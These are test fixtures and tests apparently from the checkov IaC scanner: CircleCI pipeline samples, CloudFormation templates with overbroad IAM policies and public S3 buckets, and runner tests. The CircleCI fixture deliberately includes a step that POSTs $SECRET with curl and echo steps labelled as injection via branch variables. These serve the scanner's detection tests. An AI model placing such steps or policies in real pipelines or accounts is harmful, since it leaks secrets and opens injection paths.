environment: POSTGRES_USER: user image: "postgres:14.2" test-echo: docker: - image: "cimg/python:latest" steps: - checkout - run: "echo \"this is an echo in a script.\"" test-inject: docker: - image: "cimg/python:latest" steps: - checkout - run: command: | curl -sSJL https://www.mongodb.org/static/pgp/server-4.2.asc | sudo apt-key add - echo ${CIRCLE_BRANCH} name: "Multi-line run with injection via vars" test-inject2: docker: - image: "cimg/python:latest" steps: - checkout - run: command: | curl -sSJL https://www.mongodb.org/static/pgp/server-4.2.asc | sudo apt-key add - echo $CIRCLE_BRANCH name: "Multi-line run with injection via vars" test-curl-secret: docker: - image: "cimg/python:latest" steps: - checkout - run: command: | curl -x POST someurl $SECRET name: "Multi-line export secret" test-inject-ci-vars: docker: - image: "cimg/python:latest" steps: - checkout - run: command: | echo ${CIRCLE_PR_REPONAME} name: "Echo the PR Reponame" version: 2.1 workflows: say-hello-workflow: jobs: - test-docker-hash-img - test-docker-latest-img - test-docker-versioned-img - test-echo - test-inject - test-inject2 - test-inject-ci-vars ================================================ FILE: tests/circleci_pipelines/test_runner.py ================================================ import os import unittest import pytest from checkov.circleci_pipelines.runner import Runner from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.runner_filter import RunnerFilter from checkov.circleci_pipelines.registry import registry class TestRunnerValid(unittest.TestCase): def test_registry_has_type(self): self.assertEqual(registry.report_type, CheckType.CIRCLECI_PIPELINES) def test_runner(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources") runner = Runner() checks = [] report = runner.run( root_folder=valid_dir_path, runner_filter=RunnerFilter(framework=['circleci_pipelines'], checks=checks) ) self.assertEqual(len(report.failed_checks), 13) self.assertEqual(report.parsing_errors, []) self.assertEqual(len(report.passed_checks), 32) self.assertEqual(report.skipped_checks, []) report.print_console() def test_runner_honors_enforcement_rules(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources") runner = Runner() filter = RunnerFilter(framework=['circleci_pipelines'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.CIRCLECI_PIPELINES: Severities[BcSeverities.OFF]} report = runner.run( root_folder=valid_dir_path, runner_filter=filter ) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.parsing_errors), 0) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.skipped_checks), 0) report.print_console() @pytest.mark.parametrize( "key, expected_key, supported_entities, start_line, end_line", [ ( 'orbs.{orbs: @}.orbs.CKV_CIRCLECIPIPELINES_4[3:6]', "orbs", ('orbs.{orbs: @}',), 3, 6 ), ( 'jobs.*.steps[].jobs.*.steps[].CKV_CIRCLECIPIPELINES_7[48:49]', "jobs(test-echo).steps[1](checkout)", ('jobs.*.steps[]',), 48, 49 ), ( 'jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}.jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}.CKV_CIRCLECIPIPELINES_2[33:34]', 'jobs(test-docker-versioned-img).docker.image[1](mongo:2.6.8)', ('jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}', ), 33, 34 ) ] ) def test_get_resource(file_path, key, supported_entities, expected_key, start_line, end_line, definition): runner = Runner() runner.definitions = definition new_key = runner.get_resource(file_path, key, supported_entities, start_line, end_line) assert new_key == expected_key if __name__ == "__main__": unittest.main() ================================================ FILE: tests/cloudformation/__init__.py ================================================ ================================================ FILE: tests/cloudformation/checks/__init__.py ================================================ ================================================ FILE: tests/cloudformation/checks/example_WildcardEntities/main.yaml ================================================ Description: > This template deploys an Application Load Balancer with HTTPS listener only Parameters: VPC: Type: AWS::EC2::VPC::Id Description: Choose which VPC the Application Load Balancer should be deployed to Subnets: Description: Choose a minimum of 2 subnets the ALB should be deployed to Type: List SecurityGroup: Description: Security Group for ALB Type: AWS::EC2::SecurityGroup::Id Default: sg-0123456789abcdefc Resources: #ALBSecurityGroup: # Type: 'AWS::EC2::SecurityGroup' # Properties: # GroupDescription: 'checkov-alb-test' # VpcId: !Ref VPC # SecurityGroupIngress: # - Description: 'HTTP Ingress' # IpProtocol: tcp # FromPort: 80 # ToPort: 80 # CidrIp: 0.0.0.0/0 # - Description: 'HTTPS Ingress' # IpProtocol: tcp # FromPort: 443 # ToPort: 443 # CidrIp: 0.0.0.0/0 LoadBalancer: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: CheckovTest Subnets: !Ref Subnets SecurityGroups: - !Ref SecurityGroup #- !Ref ALBSecurityGroup ListenerHTTPS: Type: AWS::ElasticLoadBalancingV2::Listener Properties: Certificates: - CertificateArn: !Ref Certificate LoadBalancerArn: !Ref LoadBalancer Port: 443 Protocol: HTTPS DefaultActions: - Type: forward TargetGroupArn: !Ref DefaultTargetGroup ### NOTE - Stack will remain in CREATE_IN_PROGRESS until you validate the certificate! Certificate: Type: AWS::CertificateManager::Certificate Properties: DomainName: example.com DomainValidationOptions: - DomainName: example.com ValidationDomain: example.com ListenerCert: Type: AWS::ElasticLoadBalancingV2::ListenerCertificate Properties: Certificates: - CertificateArn: !Ref Certificate ListenerArn: !Ref ListenerHTTPS # We define a default target group here, as this is a mandatory Parameters # when creating an Application Load Balancer Listener. This is not used, instead # a target group is created per-service in each service template (../services/*) DefaultTargetGroup: Type: AWS::ElasticLoadBalancingV2::TargetGroup Properties: Name: checkov-default VpcId: !Ref VPC Port: 80 Protocol: HTTP Outputs: LoadBalancer: Description: A reference to the Application Load Balancer Value: !Ref LoadBalancer LoadBalancerUrl: Description: The URL of the ALB Value: !GetAtt LoadBalancer.DNSName ================================================ FILE: tests/cloudformation/checks/resource/__init__.py ================================================ ================================================ FILE: tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMCredentialsExposure/FAILED.yml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: IAM policy Resources: IAMUpdateAccessKeyPolicy: Type: 'AWS::IAM::Policy' Properties: PolicyName: IAMUpdateAccessKeyPolicy PolicyDocument: Statement: - Effect: Allow Action: - 'iam:UpdateAccessKey' - 'iam:UntagRole' - 'iam:CreateAccessKey' - 'iam:TagPolicy' Resource: '*' Roles: - example_role ================================================ FILE: tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMCredentialsExposure/PASSED.yml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: IAM policy Resources: ECRGetAuthTokenPolicy: Type: 'AWS::IAM::Policy' Properties: PolicyName: ECRGetAuthTokenPolicy PolicyDocument: Statement: - Action: 'ecr:GetAuthorizationToken' Effect: Allow Resource: '*' Roles: - example_role ================================================ FILE: tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMGroup/FAILED.yml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: IAM Group with multiple policies Resources: PolicyOnePassPolicyTwoFailAdmin: Type: 'AWS::IAM::Group' Properties: Policies: - PolicyName: a PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: - 's3:Get*' Resource: - 'foo' - PolicyName: b PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: '*' Resource: '*' PolicyOneFailPolicyTwoFailPermissionsWildcard: Type: 'AWS::IAM::Group' Properties: Policies: - PolicyName: a PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: - 'iam:ChangePassword' Resource: '*' - PolicyName: b PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: - 's3:PutBucketAcl' Resource: '*' ================================================ FILE: tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMGroup/PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: IAM Groups with multiple policies Resources: NotPermissionsScopedAndWildcard: Type: 'AWS::IAM::Group' Properties: Policies: - PolicyName: a PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: - 's3:Get*' Resource: - 'foo' - PolicyName: b PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: - 's3:Get*' Resource: - '*' AdminDenyAndPermissionsScoped: Type: 'AWS::IAM::Group' Properties: Policies: - PolicyName: a PolicyDocument: Version: "2012-10-17" Statement: - Effect: Deny Action: '*' Resource: '*' - PolicyName: b PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: - 'iam:ChangePassword' Resource: - 'foo' ================================================ FILE: tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMPermissionsManagement/FAILED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: IAM policy Resources: AdminAllow: Type: 'AWS::IAM::Policy' Properties: PolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Action: '*' Resource: '*' Roles: - example_role Users: - admin PermissionsWildcard0: Type: 'AWS::IAM::Policy' Properties: PolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Action: - 'iam:ChangePassword' Resource: '*' Roles: - example_role Users: - admin PermissionsWildcard1: Type: 'AWS::IAM::Policy' Properties: PolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Action: - 's3:PutBucketAcl' Resource: '*' Roles: - example_role Users: - admin ================================================ FILE: tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMPermissionsManagement/PASSED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: IAM policy Resources: NotPermissionsScoped: Type: 'AWS::IAM::Policy' Metadata: cfn-lint: config: ignore_checks: - E3510 Properties: PolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Action: - 's3:Get*' Resource: - 'foobar' Roles: - example_role NotPermissionsWildcard: Type: 'AWS::IAM::Policy' Properties: PolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Action: - 's3:Get*' Resource: - '*' Roles: - example_role AdminDeny: Type: 'AWS::IAM::Policy' Properties: PolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Deny Action: '*' Resource: '*' Roles: - example_role PermissionsScoped: Type: 'AWS::IAM::Policy' Metadata: cfn-lint: config: ignore_checks: - E3510 Properties: PolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Action: - 'iam:ChangePassword' Resource: - 'foo' Roles: - example_role Users: - admin ================================================ FILE: tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMRole/FAILED.yml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: IAM Roles with multiple policies Resources: PolicyOnePassPolicyTwoFailAdmin: Type: 'AWS::IAM::Role' Properties: AssumeRolePolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Principal: Service: - ec2.amazonaws.com Action: - 'sts:AssumeRole' Policies: - PolicyName: a PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: - 's3:Get*' Resource: - 'foo' - PolicyName: b PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: '*' Resource: '*' PolicyOneFailPolicyTwoFailPermissionsWildcard: Type: 'AWS::IAM::Role' Properties: AssumeRolePolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Principal: Service: - ec2.amazonaws.com Action: - 'sts:AssumeRole' Policies: - PolicyName: a PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: - 'iam:ChangePassword' Resource: '*' - PolicyName: b PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: - 's3:PutBucketAcl' Resource: '*' ================================================ FILE: tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMRole/PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: IAM Roles with multiple policies Resources: NotPermissionsScopedAndWildcard: Type: 'AWS::IAM::Role' Properties: AssumeRolePolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Principal: Service: - ec2.amazonaws.com Action: - 'sts:AssumeRole' Policies: - PolicyName: a PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: - 's3:Get*' Resource: - 'foo' - PolicyName: b PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: - 's3:Get*' Resource: - '*' AdminDenyAndPermissionsScoped: Type: 'AWS::IAM::Role' Properties: AssumeRolePolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Principal: Service: - ec2.amazonaws.com Action: - 'sts:AssumeRole' Policies: - PolicyName: a PolicyDocument: Version: "2012-10-17" Statement: - Effect: Deny Action: '*' Resource: '*' - PolicyName: b PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: - 'iam:ChangePassword' Resource: - 'foo' ================================================ FILE: tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMUser/FAILED.yml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: IAM Users with multiple policies Resources: PolicyOnePassPolicyTwoFailAdmin: Type: 'AWS::IAM::User' Properties: Policies: - PolicyName: a PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: - 's3:Get*' Resource: - 'foo' - PolicyName: b PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: '*' Resource: '*' PolicyOneFailPolicyTwoFailPermissionsWildcard: Type: 'AWS::IAM::User' Properties: Policies: - PolicyName: a PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: - 'iam:ChangePassword' Resource: '*' - PolicyName: b PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: - 's3:PutBucketAcl' Resource: '*' ================================================ FILE: tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMUser/PASSED.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: IAM Users with multiple policies Resources: NotPermissionsScopedAndWildcard: Type: 'AWS::IAM::User' Properties: Policies: - PolicyName: a PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: - 's3:Get*' Resource: - 'foo' - PolicyName: b PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: - 's3:Get*' Resource: - '*' AdminDenyAndPermissionsScoped: Type: 'AWS::IAM::User' Properties: Policies: - PolicyName: a PolicyDocument: Version: "2012-10-17" Statement: - Effect: Deny Action: '*' Resource: '*' - PolicyName: b PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: - 'iam:ChangePassword' Resource: - 'foo' ================================================ FILE: tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMWriteAccess/FAILED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: IAM policy Resources: AdminAllow: Type: 'AWS::IAM::Policy' Properties: PolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Action: '*' Resource: '*' Roles: - example_role Users: - admin WriteWildcard0: Type: 'AWS::IAM::Policy' Properties: PolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Action: - 's3:PutObject' Resource: '*' Roles: - example_role Users: - admin WriteWildcard1: Type: 'AWS::IAM::Policy' Properties: PolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Action: - 's3:CreateBucket' Resource: '*' Roles: - example_role Users: - admin ================================================ FILE: tests/cloudformation/checks/resource/aws/Cloudsplaining_IAMWriteAccess/PASSED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: IAM policy Resources: NotWriteScoped: Type: 'AWS::IAM::Policy' Properties: PolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Action: - 's3:Get*' Resource: - 'foo' Roles: - example_role NotWriteWildcard: Type: 'AWS::IAM::Policy' Properties: PolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Action: - 's3:Get*' Resource: - '*' Roles: - example_role AdminDeny: Type: 'AWS::IAM::Policy' Properties: PolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Deny Action: '*' Resource: '*' Roles: - example_role WriteScoped: Type: 'AWS::IAM::Policy' Properties: PolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Action: - 's3:PutObject' Resource: - 'foo' Roles: - example_role Users: - admin ================================================ FILE: tests/cloudformation/checks/resource/aws/Cloudsplaining_ManagedPolicy/FAILED.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: IAM policy Resources: AdminAllow: Type: 'AWS::IAM::ManagedPolicy' Properties: ManagedPolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Action: '*' Resource: '*' Roles: - example_role Users: - admin PermissionsWildcard0: Type: 'AWS::IAM::ManagedPolicy' Properties: ManagedPolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Action: - 'iam:ChangePassword' Resource: '*' Roles: - example_role Users: - admin PermissionsWildcard1: Type: 'AWS::IAM::ManagedPolicy' Properties: ManagedPolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Action: - 's3:PutBucketAcl' Resource: '*' Roles: - example_role Users: - admin ================================================ FILE: tests/cloudformation/checks/resource/aws/Cloudsplaining_ManagedPolicy/PASSED.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: IAM policy Resources: NotPermissionsScoped: Type: 'AWS::IAM::ManagedPolicy' Metadata: cfn-lint: config: ignore_checks: - E3510 Properties: ManagedPolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Action: - 's3:Get*' Resource: - 'foo' Roles: - example_role NotPermissionsWildcard: Type: 'AWS::IAM::ManagedPolicy' Properties: ManagedPolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Action: - 's3:Get*' Resource: - '*' Roles: - example_role AdminDeny: Type: 'AWS::IAM::ManagedPolicy' Properties: ManagedPolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Deny Action: '*' Resource: '*' Roles: - example_role PermissionsScoped: Type: 'AWS::IAM::ManagedPolicy' Metadata: cfn-lint: config: ignore_checks: - E3510 Properties: ManagedPolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Action: - 'iam:ChangePassword' Resource: - 'foo' Roles: - example_role Users: - admin ================================================ FILE: tests/cloudformation/checks/resource/aws/S3Templates/ExampleS3.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: S3BucketNoProps: Type: AWS::S3::Bucket S3BucketPublicRead: Type: AWS::S3::Bucket Metadata: cfn-lint: config: ignore_checks: - E3045 Properties: AccessControl: PublicRead BucketEncryption: ServerSideEncryptionConfiguration: - ServerSideEncryptionByDefault: SSEAlgorithm: AES256 S3Bucket: Type: AWS::S3::Bucket Metadata: cfn-lint: config: ignore_checks: - E3045 Properties: AccessControl: PublicRead BucketEncryption: ServerSideEncryptionConfiguration: - ServerSideEncryptionByDefault: KMSMasterKeyID: String SSEAlgorithm: aws:kms WebsiteConfiguration: IndexDocument: index.html ErrorDocument: error.html DeletionPolicy: Retain S3Bucket2: Type: AWS::S3::Bucket Metadata: cfn-lint: config: ignore_checks: - E3045 Properties: AccessControl: PublicReadWrite VersioningConfiguration: Status: Enabled BucketEncryption: ServerSideEncryptionConfiguration: - ServerSideEncryptionByDefault: SSEAlgorithm: AES256 LoggingConfiguration: DestinationBucketName: String LogFilePrefix: String WebsiteConfiguration: IndexDocument: index.html ErrorDocument: error.html DeletionPolicy: Retain S3Bucket3: Type: AWS::S3::Bucket Properties: AccessControl: Private VersioningConfiguration: Status: Suspended LoggingConfiguration: DestinationBucketName: "String" LogFilePrefix: "String" WebsiteConfiguration: IndexDocument: index.html ErrorDocument: error.html DeletionPolicy: Retain S3Bucket4: Type: 'AWS::S3::Bucket' Properties: BucketName: 'example' PublicAccessBlockConfiguration: BlockPublicAcls: true BlockPublicPolicy: true IgnorePublicAcls: true RestrictPublicBuckets: false BucketPolicy: Type: AWS::S3::BucketPolicy Properties: PolicyDocument: Id: MyPolicy Version: 2012-10-17 Statement: - Sid: PublicReadForGetBucketObjects Effect: Allow Principal: '*' Action: 's3:GetObject' Resource: !Join - '' - - 'arn:aws:s3:::' - !Ref S3Bucket - /* Bucket: !Ref S3Bucket Outputs: WebsiteURL: Value: !GetAtt - S3Bucket - WebsiteURL Description: URL for website hosted on S3 S3BucketSecureURL: Value: !Join - '' - - 'https://' - !GetAtt - S3Bucket - DomainName Description: Name of S3 bucket to hold website content ================================================ FILE: tests/cloudformation/checks/resource/aws/__init__.py ================================================ ================================================ FILE: tests/cloudformation/checks/resource/aws/cloudsplaining.md ================================================ # Cloudsplaining policy testing We make use of the Cloudsplaining project to perform some IAM-related checks. This folder is for test data to ensure we are making use of the Cloudsplaining policies as expected. ## Cloudsplaining https://github.com/salesforce/cloudsplaining ## Context Links * https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_understand-policy-summary-access-level-summaries.html * https://github.com/bridgecrewio/checkov/issues/1037 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ALBDropHttpHeaders/FAIL.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: FailDefaultType: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: test Subnets: - test-0 - test-1 FailExplicitALB: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: test Subnets: - test-0 - test-1 Type: application FailExplicitFalse: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: test Subnets: - test-0 - test-1 Type: application LoadBalancerAttributes: - Key: routing.http.drop_invalid_header_fields.enabled Value: "false" FailExplicitFalse2: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: test Subnets: - test-0 - test-1 Type: application LoadBalancerAttributes: - Key: routing.http.drop_invalid_header_fields.enabled Value: false FailKeyNotExist: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: test Subnets: - test-0 - test-1 Type: application LoadBalancerAttributes: - Key: deletion_protection.enabled Value: "true" FailKeyNotExist2: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: test Subnets: - test-0 - test-1 Type: application LoadBalancerAttributes: - Key: deletion_protection.enabled Value: true ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ALBDropHttpHeaders/PASS.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: PassDefaultType: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: test Subnets: - test-0 - test-1 LoadBalancerAttributes: - Key: routing.http.drop_invalid_header_fields.enabled Value: "true" PassDefaultTypeBool: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: test Subnets: - test-0 - test-1 LoadBalancerAttributes: - Key: routing.http.drop_invalid_header_fields.enabled Value: true PassExplicitALB: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: test Subnets: - test-0 - test-1 Type: application LoadBalancerAttributes: - Key: routing.http.drop_invalid_header_fields.enabled Value: "true" PassMultipleAttributes: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: test Subnets: - test-0 - test-1 Type: application LoadBalancerAttributes: - Key: deletion_protection.enabled Value: "true" - Key: routing.http.drop_invalid_header_fields.enabled Value: "true" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ALBDropHttpHeaders/UNKNOWN.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Resources: UnknownNLB: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: test Subnets: - test-0 - test-1 Type: network UnknownGatewayLB: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: test Subnets: - test-0 - test-1 Type: gateway ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ALBListener/ALBListenerHTTPS-FAILED-HTTP.yaml ================================================ Description: > This template deploys an Application Load Balancer - HTTP listener only Parameters: VPC: Type: AWS::EC2::VPC::Id Description: Choose which VPC the Application Load Balancer should be deployed to Subnets: Description: Choose a minimum of 2 subnets the ALB should be deployed to Type: List SecurityGroup: Description: Security Group for ALB Type: AWS::EC2::SecurityGroup::Id Default: sg-0123456789abcdefc Resources: #ALBSecurityGroup: # Type: 'AWS::EC2::SecurityGroup' # Properties: # GroupDescription: 'checkov-alb-test' # VpcId: !Ref VPC # SecurityGroupIngress: # - Description: 'HTTP Ingress' # IpProtocol: tcp # FromPort: 80 # ToPort: 80 # CidrIp: 0.0.0.0/0 # - Description: 'HTTPS Ingress' # IpProtocol: tcp # FromPort: 443 # ToPort: 443 # CidrIp: 0.0.0.0/0 LoadBalancer: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: CheckovTest Subnets: !Ref Subnets SecurityGroups: - !Ref SecurityGroup # - !Ref ALBSecurityGroup ListenerHTTP: Type: AWS::ElasticLoadBalancingV2::Listener Properties: LoadBalancerArn: !Ref LoadBalancer Port: 80 Protocol: HTTP DefaultActions: - Type: forward TargetGroupArn: !Ref DefaultTargetGroup # We define a default target group here, as this is a mandatory Parameters # when creating an Application Load Balancer Listener. This is not used, instead # a target group is created per-service in each service template (../services/*) DefaultTargetGroup: Type: AWS::ElasticLoadBalancingV2::TargetGroup Properties: Name: checkov-default VpcId: !Ref VPC Port: 80 Protocol: HTTP Outputs: LoadBalancer: Description: A reference to the Application Load Balancer Value: !Ref LoadBalancer LoadBalancerUrl: Description: The URL of the ALB Value: !GetAtt LoadBalancer.DNSName ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ALBListener/ALBListenerHTTPS-PASSED-HTTPS.yaml ================================================ Description: > This template deploys an Application Load Balancer with HTTPS listener only Parameters: VPC: Type: AWS::EC2::VPC::Id Description: Choose which VPC the Application Load Balancer should be deployed to Subnets: Description: Choose a minimum of 2 subnets the ALB should be deployed to Type: List SecurityGroup: Description: Security Group for ALB Type: AWS::EC2::SecurityGroup::Id Default: sg-0123456789abcdefc Resources: #ALBSecurityGroup: # Type: 'AWS::EC2::SecurityGroup' # Properties: # GroupDescription: 'checkov-alb-test' # VpcId: !Ref VPC # SecurityGroupIngress: # - Description: 'HTTP Ingress' # IpProtocol: tcp # FromPort: 80 # ToPort: 80 # CidrIp: 0.0.0.0/0 # - Description: 'HTTPS Ingress' # IpProtocol: tcp # FromPort: 443 # ToPort: 443 # CidrIp: 0.0.0.0/0 LoadBalancer: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: CheckovTest Subnets: !Ref Subnets SecurityGroups: - !Ref SecurityGroup #- !Ref ALBSecurityGroup ListenerHTTPS: Type: AWS::ElasticLoadBalancingV2::Listener Properties: Certificates: - CertificateArn: !Ref Certificate LoadBalancerArn: !Ref LoadBalancer Port: 443 Protocol: HTTPS DefaultActions: - Type: forward TargetGroupArn: !Ref DefaultTargetGroup ### NOTE - Stack will remain in CREATE_IN_PROGRESS until you validate the certificate! Certificate: Type: AWS::CertificateManager::Certificate Properties: DomainName: example.com DomainValidationOptions: - DomainName: example.com ValidationDomain: example.com ListenerCert: Type: AWS::ElasticLoadBalancingV2::ListenerCertificate Properties: Certificates: - CertificateArn: !Ref Certificate ListenerArn: !Ref ListenerHTTPS # We define a default target group here, as this is a mandatory Parameters # when creating an Application Load Balancer Listener. This is not used, instead # a target group is created per-service in each service template (../services/*) DefaultTargetGroup: Type: AWS::ElasticLoadBalancingV2::TargetGroup Properties: Name: checkov-default VpcId: !Ref VPC Port: 80 Protocol: HTTP Outputs: LoadBalancer: Description: A reference to the Application Load Balancer Value: !Ref LoadBalancer LoadBalancerUrl: Description: The URL of the ALB Value: !GetAtt LoadBalancer.DNSName ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ALBListener/ALBListenerHTTPS-PASSED-TCP.yaml ================================================ Description: > This template deploys an NLB with TLS termination Parameters: VPC: Type: AWS::EC2::VPC::Id Description: Choose which VPC the Application Load Balancer should be deployed to UseHttps: Description: If HTTPS is used Type: String Subnets: Description: Choose a minimum of 2 subnets the ALB should be deployed to Type: List Conditions: IsHttps: Fn::Equals: - !Ref UseHttps - 'true' Resources: LoadBalancer: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: CheckovTest Type: 'network' Subnets: !Ref Subnets ListenerHTTPS: Type: AWS::ElasticLoadBalancingV2::Listener Properties: Certificates: - CertificateArn: !Ref Certificate LoadBalancerArn: !Ref LoadBalancer Port: 22 Protocol: TCP DefaultActions: - Type: forward TargetGroupArn: !Ref DefaultTargetGroup ### NOTE - Stack will remain in CREATE_IN_PROGRESS until you validate the certificate! Certificate: Type: AWS::CertificateManager::Certificate Properties: DomainName: example.com DomainValidationOptions: - DomainName: example.com ValidationDomain: example.com ListenerCert: Type: AWS::ElasticLoadBalancingV2::ListenerCertificate Properties: Certificates: - CertificateArn: !Ref Certificate ListenerArn: !Ref ListenerHTTPS # We define a default target group here, as this is a mandatory Parameters # when creating an Application Load Balancer Listener. This is not used, instead # a target group is created per-service in each service template (../services/*) DefaultTargetGroup: Type: AWS::ElasticLoadBalancingV2::TargetGroup Properties: Name: checkov-default VpcId: !Ref VPC Port: 22 Protocol: TCP ListenerHTTPUnknown: Type: AWS::ElasticLoadBalancingV2::Listener Properties: DefaultActions: !If - IsHttps - - Type: "redirect" RedirectConfig: Protocol: "HTTPS" Port: 443 Path: "/" StatusCode: "HTTP_301" - - TargetGroupArn: default-target-group Type: forward LoadBalancerArn: !Ref LoadBalancer Port: 80 Protocol: HTTP Outputs: LoadBalancer: Description: A reference to the Application Load Balancer Value: !Ref LoadBalancer LoadBalancerUrl: Description: The URL of the ALB Value: !GetAtt LoadBalancer.DNSName ================================================ FILE: tests/cloudformation/checks/resource/aws/example_ALBListener/ALBListenerHTTPS-PASSED-TCP_UDP.yaml ================================================ Description: > This template deploys an NLB with TLS termination Parameters: VPC: Type: AWS::EC2::VPC::Id Description: Choose which VPC the Application Load Balancer should be deployed to Subnets: Description: Choose a minimum of 2 subnets the ALB should be deployed to Type: List Resources: LoadBalancer: Type: AWS::ElasticLoadBalancingV2::LoadBalancer Properties: Name: CheckovTest Type: 'network' Subnets: !Ref Subnets ListenerHTTPS: Type: AWS::ElasticLoadBalancingV2::Listener Properties: Certificates: 